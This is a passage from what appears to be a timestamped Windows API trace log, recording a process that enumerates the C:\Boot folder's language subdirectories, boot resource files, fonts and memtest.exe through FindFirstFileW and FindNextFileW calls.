ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.079] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.079] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.079] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0037.079] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.079] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.079] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.079] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.080] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0037.080] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.080] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.080] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.080] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0037.080] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.080] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0037.081] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.081] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.081] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0037.081] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.081] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.081] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.081] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.081] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.081] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0037.081] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.081] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.081] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.081] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.081] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.081] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0037.082] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.082] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.082] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.082] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.082] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.082] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0037.082] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.082] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.082] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.082] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.082] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.082] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0037.082] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.083] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.083] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.083] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.083] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.083] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0037.083] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.083] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.083] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.083] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.083] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.083] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0037.083] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.083] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.083] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.084] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.084] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0037.084] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.084] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.084] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, 